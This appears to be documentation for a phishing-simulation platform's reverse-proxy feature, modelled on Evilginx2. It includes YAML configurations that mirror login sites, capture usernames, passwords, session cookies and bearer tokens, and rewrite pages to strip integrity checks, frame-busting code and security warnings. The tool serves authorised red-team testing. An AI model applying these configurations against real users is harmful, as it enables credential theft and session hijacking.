The Proxy feature is used to mirror websites, manipulate their content and capture credentials and sessions.
The best and most well known man-in-the-middle attack framework is Evilginx2 and this feature is highly inspired and also borrows from its codebase. We highly recommend this tool for dedicated reverse proxy phishing, it is the king 👑. However the usefulness of implementing similar functionality into Phishing Club was too much to ignore. However the implementation is not 1 to 1 as Phishing Club is not solely a MITM phishing framework.
Proxy creation involves defining domain mappings, capture and rewrite rules in a YAML format. This configuration determines how traffic is intercepted, what data is captured, and how the data flow is modified.
Field | Description and Requirements |
---|---|
Name | Name of the proxy |
Description | Optional description |
Start URL | The initial URL where proxy session begin. This URL's domain must be defined in the YAML configuration mappings. |
The YAML configuration defines the core behavior of your proxy, including domain mappings, data capture rules, and content modification directives.
# version is optional - default to 0.0 version: "0.0" # outgoing traffic proxy proxy: 127.0.0.1:8081 # global contains rewrite and capture section that apply to all domains global: # example of a global rewrite section that replaces integrity attributes rewrite: - name: loose rename integrity find: integrity= replace: data-no-integrity= from: response_body # domain section sets up the relation between proxy domains and targets along with capture and rewrite section. login.example.com: # our proxy domain to: login.phishingclub.test # capture section informs what to capture in traffic capture: # required identifier - name: username # HTTP method method: POST # url path regex pattern path: /auth # regex pattern to capture or if 'from' is 'cookie', the name of the cookie find: username=([^&]+) # where to attempt the capture from from: request_body # where to search: request_body|request_header|response_body|response_header|cookie|any - name: password method: POST path: /auth find: password=([^&]+) from: request_body - name: session_token method: GET path: /dashboard find: SESSIONID from: cookie # multiple domains can be setup for proxying www.example.com: to: www.phishingclub.test
Element | Purpose and Usage |
---|---|
version | Configuration format version for compatibility and future upgrades |
proxy | Upstream proxy server address for routing traffic (optional) |
global | Rules and modifications applied to all domain mappings in the configuration |
Domain Mappings | Individual domain configurations specifying domains, proxy domains, capture rules, and rewrite directives |
Domain mappings define how website domains are redirected to your phishing domains. Each mapping specifies the relationship between proxied domains and your controlled domains.
# target domain login.example.com: # your phishing domain to: login.phishingclub.test capture: # ... capture rules here rewrite: # ... rewrite rules here
When saving the proxy, the domains will be created in the domains section. Any changes such as removing or adding a domain will be handled automatically.
Be mindful
of certifiate provider limits.
Applications often span multiple domains (e.g., login.example.com, app.example.com, api.example.com):
login.example.com: to: login.phishingclub.test # ... rules for login domain app.example.com: to: app.phishingclub.test # ... rules for application domain api.example.com: to: api.phishingclub.test # ... rules for API domain
Capture rules define what information to extract from user interactions during proxy sessions. These rules specify where to look for data, what patterns to match, and how to extract credentials, tokens, and other valuable information.
capture: - name: username # unique identifier for this capture method: POST # HTTP method to monitor path: /auth # URL path pattern to match find: username=([^&]+) # regex pattern for extraction from: request_body # data source location
Parameter | Description and Usage |
---|---|
name | Unique identifier for organizing and referencing captured data |
method | HTTP method to monitor (GET, POST, PUT, DELETE, etc.) |
path | URL path pattern to match for triggering the capture rule |
find | Regex pattern for data extraction. Use capture groups ([^&]+) to extract specific
values |
from | Data source: request_body , response_body , cookie ,
header |
capture: - name: username method: POST path: /login find: username=([^&]+) from: request_body - name: password method: POST path: /login find: password=([^&]+) from: request_body
capture: - name: session_token method: GET path: /dashboard find: SESSIONID from: cookie # captures complete cookie value
Warning: The captured cookie event is only saved and submitted AFTER ALL CAPTURES have been completed.
capture: - name: api_key method: GET path: /api/ find: Authorization: Bearer ([A-Za-z0-9\-_]+) from: header
Rewrite rules enable modification of website content during proxy sessions, allowing you to customize the user experience, hide security warnings, or inject additional elements that enhance the realism of your phishing simulation.
rewrite: - name: hide_security_warning find: security-warning replace: hidden from: response_body
Parameter | Description and Usage |
---|---|
name | Unique identifier for organizing and managing rewrite rules |
find | Text pattern or regex to locate content for replacement |
replace | Replacement text or HTML to substitute for the matched content |
from | Target location: request_body , response_body for content modification |
rewrite: - name: disable_csp find: integrity= replace: data-integrity= from: response_body
rewrite: - name: custom_branding find: "Company Login Portal" replace: "Secure Access Portal" from: response_body
Global rules apply to all domain mappings within a proxy configuration, providing behavior across multiple domains without duplicating rule definitions. This approach simplifies configuration management for multi-domain applications.
global: rewrite: - name: universal_csp_bypass find: integrity= replace: data-no-integrity= from: response_body - name: remove_frame_busting find: top.location != self.location replace: false from: response_body
Global rules are particularly useful for addressing common security mechanisms that appear across all domains in an application, such as Content Security Policy headers, frame-busting scripts, or branding elements.
Proxy configurations automatically create corresponding proxy domains in your domain management system. These domains are specially configured to handle proxy traffic and cannot be used for regular landing page hosting.
Proxy-based phishing simulations involve intercepting traffic to websites and capturing sensitive data. This capability requires careful consideration of legal, ethical, and security implications before usage.
This proxy configuration is for The internet login
URL: https://the-internet.herokuapp.com/login
version: "0.0" the-internet.herokuapp.com: to: theinternet.phishing.test capture: - name: credentials method: POST path: /authenticate find: username=([^&]+)&password=([^&]+) from: request_body required: true - name: cookie method: POST path: /authenticate find: rack.session from: cookie required: true - name: logged in method: GET path: /secure from: any required: true